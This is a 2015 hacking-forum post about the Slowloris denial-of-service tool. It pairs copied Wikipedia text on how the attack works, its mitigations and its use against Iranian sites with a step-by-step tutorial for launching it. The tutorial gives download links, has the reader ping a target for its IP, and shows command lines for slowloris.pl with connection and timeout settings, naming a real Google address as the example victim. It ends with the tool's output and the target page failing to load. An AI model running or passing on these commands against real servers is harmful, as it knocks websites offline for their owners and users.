

Forum:[Hack Forums](#)

Thread: [Slowloris ATTACK](#)

Ghepard - November 17, 2015, 6:51 am

From Wikipedia, the free encyclopedia

Slowloris is a piece of software written by Robert "RSnake" Hansen which allows a single machine to take down another machine's web server with minimal bandwidth and side effects on unrelated services and ports. Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. It accomplishes this by opening connections to the target web server and sending a partial request. Periodically, it will send subsequent HTTP headers, adding to—but never completing—the request. Affected servers will keep these connections open, filling their maximum concurrent connection pool, eventually denying additional connection attempts from clients.

Mitigating the Slowloris attack

While there are no reliable configurations of the affected web servers that will prevent the Slowloris attack, there are ways to mitigate or reduce the impact of such an attack. In general these involve increasing the maximum number of clients the webserver will allow, limiting the number of connections a single IP address is allowed to make, imposing restrictions on the minimum transfer speed a connection is allowed to have, and restricting the length of time a client is allowed to stay connected.

In the Apache web server, a number of modules can be used to limit the damage caused by the Slowloris attack; the Apache modules `mod_limitipconn`, `mod_qos`, `mod_evasive`, `mod_security`, `mod_noloris`, and `mod_antiloris` have all been suggested as means of reducing the likelihood of a successful Slowloris attack. Since Apache 2.2.15, Apache ships the module `mod_reqtimeout` as the official solution supported by the developers. Other mitigating techniques involve setting up reverse proxies, firewalls, load balancers or content switches. Administrators could also change the affected web server to software that is unaffected by this form of attack. For example, `lighttpd` and `nginx` do not succumb to this specific attack.

Notable usage

During the protests that erupted in the wake of the 2009 Iranian presidential election, Slowloris arose as a prominent tool used to leverage DoS attacks against sites run by the Iranian government.[8] The belief was that using a DDoS attack would affect internet access for the government and protesters equally, due to the significant bandwidth they can use. The Slowloris attack was chosen instead, because of its high impact and relatively low bandwidth.[9] A number of government run sites were targeted during these attacks, including `gerdab.ir`, `leader.ir`, and `president.ir`.

Download

[Slowloris.pl](#) Download

[Perl](#) Download

[Use Google](#)

Tutorial

[Code CMD](#)

[CD Desktop *Slowloris Located on the desktop*](#)

[Slowloris.pl *startup Applications* *pl=perl - download*](#)

Ping website *example ping google

Appears IP *74.125.133.100 in the case of Google*

Slowloris.pl -dns 74.125.133.100 *Start Attack* OR

Slowloris.pl -dns 74.125.133.100 -port 80 -num 500 -timeout 1 *If we know PORT*

Will appear"

Building sockets

Building sockets

Building sockets

Building sockets

Building sockets

Building sockets

Wait a minute

Sending data

Slowloris has now sent 1491 packets successfully

This thread now sleeping for 1 seconds.. *This message can you boot up multiple times*

The connection was reset

Problem loading page

The report that you see on most pages

*Google is not working on it **Just for info**